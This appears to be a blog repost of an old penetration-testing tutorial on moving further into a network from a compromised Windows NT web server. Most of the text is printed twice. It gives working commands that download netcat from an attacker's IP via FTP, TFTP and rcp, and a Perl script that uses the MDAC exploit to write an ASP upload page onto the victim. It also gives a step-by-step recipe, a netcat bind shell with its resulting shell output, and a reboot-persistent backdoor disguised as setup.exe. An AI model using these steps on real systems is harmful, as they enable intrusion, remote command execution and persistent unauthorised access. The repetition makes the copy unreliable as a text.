Most books and papers on the matter of hacking always stop at the point
where the attacker has gained access to a system. In real life it is here
where the real problems begin - usually the machine that has been
compromised is located in a DMZ, or even on an offsite network. Another
problem could be that the compromised machine has no probing tools or
utilities and such tools to work on an unknown platform is not always that
easy. This part deals with these issues. Here we assume that a host is
already compromised - the attacker has some way of executing a command on
the target.
Some hosts are better for launching 2nd phase attacks than others -
typically a Linux or FreeBSD host is worth more than a Windows NT web server.
Remember – the idea is to further penetrate a network. Unfortunately, you
can not always choose which machines are compromised. Before we start to be
platform specific, let us look at things to do when a host is compromised.
The first step is to study one's surroundings. With 1:1NAT and other address
hiding technologies you can never be too sure where you really are. The
following bits of information could help (much of this really common sense,
so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of
the network - and as we want to penetrate further within the network its
helpful. Let us assume that we have no inside knowledge of the inner network
- that is - we don't know where the internal mail server is located - we
don't know where the databases are located etc. With no tools on the host
(host as in parasite/host), mapping or penetrating the inner network is
going to take very long. We thus need some way of getting a (limited)
toolbox on the host. As this is quite platform specific, we start by looking
at the more difficult platform - Windows.
We are faced with two distinct different problems - getting the tools on the
host, and executing it. Getting the tools on the host could be as easy as
FTP-ing it to the host (should a FTP server be running and we have a
username and password - or anonymous FTP). What if only port 80 is open?
Here's where things start to become more interesting. The easy way to get
software on the host is to FTP it. Typically you will have the toolbox
situated on your machine, and the host will FTP it from you. As such you
will need an automated FTP script - you cannot open an FTP session directly
as it is interactive and you probably do not have that functionality. To
build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute
multiple command by appending a "&" between commands. This script is very
simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP
reverse connections are not allowed into the network - NT has no support for
passive FTP. It might also be that the machine is simply fire walled and it
cannot make connections to the outside. A variation on it is TFTP – much
easier. It uses UDP and it could be that the firewall allows UDP to travel
within the network. The same it achieved by executing the following on the
host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for
certain exploits (remember when no one could figure out how to do redirects
with Unicode?). There is yet another way of doing it - this time via rcp
(yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts
and rsh service running. Remote copy uses TCP, but there is no reverse
connection to be worried about. Above two examples do not use any
authentication - make sure you close your firewall and/or services after the
attack!
In these examples one always assume that the host (victim) may establish
some kind of connection to the attacker's machine. Yet, in some cases the
host cannot do this - due to tight fire walling. Thus - the host cannot
initiate a connection - the only allowed traffic is coming from outside (and
only on selected ports). A tricky situation. Let us assume that we can only
execute a command - via something like the MDAC exploit (thus via HTTP(s)).
The only way to upload information is thus via HTTP. We can execute a
command - we can write a file (with redirection). The idea is thus to write
a page - an ASP/HTML page that will facilitate a file upload. This is easier
said then done as most servers needs some server side components in order to
achieve this. We need an ASP-only page, a page that does not need any server
side components. Furthermore we sitting with the problem that most HTML/ASP
pages contains characters that will "break" a file redirection - a ">" for
instance. The command echo <html> >> c:\inetpub\wwwroot\upload.htmwon’t
work. Luckily there are some escape characters even in good old DOS. We need
a script that will convert all potential difficult" characters into their
escaped version, and will then execute an "echo" command - appending it all
together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert <file_to_upload> <target>
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(<HTMLFILE>) {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >>
c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by
Scrippie/Phreak) takes two arguments - the first is the file that needs to
be uploaded, the second the target/victim host's IP number. It makes use of
another script - rfpnew.pl- a hack of the popular MDAC exploit by Rain
Forrest Puppy with extra functionality to specify the port number and to
pass the command to be executed as parameter. The convert script will create
a file with the same filename as the one specified in c:\. It simply reads
every line from the source file, converts all difficult characters and
appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found
on www.sensepost.com/summercon2001/rfpnew.pl. It don't list it here only
because it rather large.
The only part missing here is the actual file that is needed for uploading.
After some searches on the Internet, I got hold of a .ASP & .INC file pair
that neatly facilitates uploading to a server - without any server side
components (credit to those that wrote it - I can not remember where I got
it from). Once these two files are "built" (using above script) and
transferred into the webroot, one can simply point ones browser to the
correct URL and upload a toolbox via HTTP. The files upload.aspand
upload.incis to be found at www.sensepost.com/summercon2001/upload.asp and
www.sensepost.com/summercon2001/upload.inc (I don't list them here because
they are quite large). Be sure to move the uploaded files to the right spot
- keep them in the same directory, and keep the file names the same -upload.aspand upload.inc,unless you want to meddle with the ASP and INC
files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same
directory
• perl convert upload.asp <target>
• perl convert upload.inc <target>
• perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.asp
<webroot>\upload.asp'
• perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.inc
<webroot>\upload.inc.
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
In the same way the upload page can be build using the Unicode bug. I
recently wrote a tool called unicodeloader.pl which does exactly that - it
builds the upload page with echos using the Unicode bug.
The next step would be to execute something on the host. With the uploader
in place, the obvious choice would be to upload net cat, and to thus create a
DOS shell. In an environment where the host/target is not tightly
fire walled this is a good idea- bind to any closed (non-filtered) port.
Where the host/target only has port 80 (or 443) open it becomes more
interesting. Netcat(for WinNT) has a "single bind" mode (-l) that will only
redirect the next incoming connection to the executor (-e); the connection
thereafter will be caught by the web server. Here timing is of essence - you
would want to make sure that you get the very next connection after the
single bind was executed. How does one make sure of this? Hpingis a tool
that has the functionality to display differentials in IP id numbers. Bottom
line - if you do a
# hping -r target -p 80 -S
and your relative ID are +1, you know its only you speaking to the host. The
higher the relative IDs, the busier the host. If the host is busy you prolly
won’t be the next caller..
In a situation where we cannot use net cat, our "tool" needs to be command
line driven, and needs to be able to either create files as output, or to
output results to standard out - where it can be redirected to a file. These
files could simply be created directly into the web root - in this way the
attacker can view her results in a web browser. One now begin to understand
the merit of command line port scanners (for NT) such as FSCAN.EXEand
things like win dump that does not need any registry changes or install
shields.
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit) perl rfpnew.pl -h <target> -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet <target> 53
Trying <target>...
Connected to <target>.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to
execute command line commands. Net cat also helps in situations where one
does not have the luxury of time - such as in the examples where you only
have Net BIOS access. To ensure that you keep connectivity with the target
you might want to execute a "netcat -L -p 53 -e cmd.exe"sitting in
winnt/system32/setup.exe (you could execute it from a batch file and
convert the batch file to an EXE). When the host reboots it will be
listening on port 53 for incoming connections. All you need to do is to
probe port 53 continuously.
where the attacker has gained access to a system. In real life it is here
where the real problems begin - usually the machine that has been
compromised is located in a DMZ, or even on an offsite network. Another
problem could be that the compromised machine has no probing tools or
utilities and such tools to work on an unknown platform is not always that
easy. This part deals with these issues. Here we assume that a host is
already compromised - the attacker has some way of executing a command on
the target.
Some hosts are better for launching 2nd phase attacks than others -
typically a Linux or FreeBSD host is worth more than a Windows NT web server.
Remember – the idea is to further penetrate a network. Unfortunately, you
can not always choose which machines are compromised. Before we start to be
platform specific, let us look at things to do when a host is compromised.
The first step is to study one's surroundings. With 1:1NAT and other address
hiding technologies you can never be too sure where you really are. The
following bits of information could help (much of this really common sense,
so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of
the network - and as we want to penetrate further within the network its
helpful. Let us assume that we have no inside knowledge of the inner network
- that is - we don't know where the internal mail server is located - we
don't know where the databases are located etc. With no tools on the host
(host as in parasite/host), mapping or penetrating the inner network is
going to take very long. We thus need some way of getting a (limited)
toolbox on the host. As this is quite platform specific, we start by looking
at the more difficult platform - Windows.
We are faced with two distinct different problems - getting the tools on the
host, and executing it. Getting the tools on the host could be as easy as
FTP-ing it to the host (should a FTP server be running and we have a
username and password - or anonymous FTP). What if only port 80 is open?
Here's where things start to become more interesting. The easy way to get
software on the host is to FTP it. Typically you will have the toolbox
situated on your machine, and the host will FTP it from you. As such you
will need an automated FTP script - you cannot open an FTP session directly
as it is interactive and you probably do not have that functionality. To
build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute
multiple command by appending a "&" between commands. This script is very
simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP
reverse connections are not allowed into the network - NT has no support for
passive FTP. It might also be that the machine is simply fire walled and it
cannot make connections to the outside. A variation on it is TFTP – much
easier. It uses UDP and it could be that the firewall allows UDP to travel
within the network. The same it achieved by executing the following on the
host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for
certain exploits (remember when no one could figure out how to do redirects
with Unicode?). There is yet another way of doing it - this time via rcp
(yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts
and rsh service running. Remote copy uses TCP, but there is no reverse
connection to be worried about. Above two examples do not use any
authentication - make sure you close your firewall and/or services after the
attack!
In these examples one always assume that the host (victim) may establish
some kind of connection to the attacker's machine. Yet, in some cases the
host cannot do this - due to tight fire walling. Thus - the host cannot
initiate a connection - the only allowed traffic is coming from outside (and
only on selected ports). A tricky situation. Let us assume that we can only
execute a command - via something like the MDAC exploit (thus via HTTP(s)).
The only way to upload information is thus via HTTP. We can execute a
command - we can write a file (with redirection). The idea is thus to write
a page - an ASP/HTML page that will facilitate a file upload. This is easier
said then done as most servers needs some server side components in order to
achieve this. We need an ASP-only page, a page that does not need any server
side components. Furthermore we sitting with the problem that most HTML/ASP
pages contains characters that will "break" a file redirection - a ">" for
instance. The command echo <html> >> c:\inetpub\wwwroot\upload.htmwon’t
work. Luckily there are some escape characters even in good old DOS. We need
a script that will convert all potential difficult" characters into their
escaped version, and will then execute an "echo" command - appending it all
together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert <file_to_upload> <target>
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(<HTMLFILE>) {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >>
c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by
Scrippie/Phreak) takes two arguments - the first is the file that needs to
be uploaded, the second the target/victim host's IP number. It makes use of
another script - rfpnew.pl- a hack of the popular MDAC exploit by Rain
Forrest Puppy with extra functionality to specify the port number and to
pass the command to be executed as parameter. The convert script will create
a file with the same filename as the one specified in c:\. It simply reads
every line from the source file, converts all difficult characters and
appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found
on www.sensepost.com/summercon2001/rfpnew.pl. It don't list it here only
because it rather large.
The only part missing here is the actual file that is needed for uploading.
After some searches on the Internet, I got hold of a .ASP & .INC file pair
that neatly facilitates uploading to a server - without any server side
components (credit to those that wrote it - I can not remember where I got
it from). Once these two files are "built" (using above script) and
transferred into the webroot, one can simply point ones browser to the
correct URL and upload a toolbox via HTTP. The files upload.aspand
upload.incis to be found at www.sensepost.com/summercon2001/upload.asp and
www.sensepost.com/summercon2001/upload.inc (I don't list them here because
they are quite large). Be sure to move the uploaded files to the right spot
- keep them in the same directory, and keep the file names the same -upload.aspand upload.inc,unless you want to meddle with the ASP and INC
files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same
directory
• perl convert upload.asp <target>
• perl convert upload.inc <target>
• perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.asp
<webroot>\upload.asp'
• perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.inc
<webroot>\upload.inc.
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
In the same way the upload page can be build using the Unicode bug. I
recently wrote a tool called unicodeloader.pl which does exactly that - it
builds the upload page with echos using the Unicode bug.
The next step would be to execute something on the host. With the uploader
in place, the obvious choice would be to upload net cat, and to thus create a
DOS shell. In an environment where the host/target is not tightly
fire walled this is a good idea- bind to any closed (non-filtered) port.
Where the host/target only has port 80 (or 443) open it becomes more
interesting. Netcat(for WinNT) has a "single bind" mode (-l) that will only
redirect the next incoming connection to the executor (-e); the connection
thereafter will be caught by the web server. Here timing is of essence - you
would want to make sure that you get the very next connection after the
single bind was executed. How does one make sure of this? Hpingis a tool
that has the functionality to display differentials in IP id numbers. Bottom
line - if you do a
# hping -r target -p 80 -S
and your relative ID are +1, you know its only you speaking to the host. The
higher the relative IDs, the busier the host. If the host is busy you prolly
won’t be the next caller..
In a situation where we cannot use net cat, our "tool" needs to be command
line driven, and needs to be able to either create files as output, or to
output results to standard out - where it can be redirected to a file. These
files could simply be created directly into the web root - in this way the
attacker can view her results in a web browser. One now begin to understand
the merit of command line port scanners (for NT) such as FSCAN.EXEand
things like win dump that does not need any registry changes or install
shields.
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit) perl rfpnew.pl -h <target> -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet <target> 53
Trying <target>...
Connected to <target>.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to
execute command line commands. Net cat also helps in situations where one
does not have the luxury of time - such as in the examples where you only
have Net BIOS access. To ensure that you keep connectivity with the target
you might want to execute a "netcat -L -p 53 -e cmd.exe"sitting in
winnt/system32/setup.exe (you could execute it from a batch file and
convert the batch file to an EXE). When the host reboots it will be
listening on port 53 for incoming connections. All you need to do is to
probe port 53 continuously.
No comments:
Post a Comment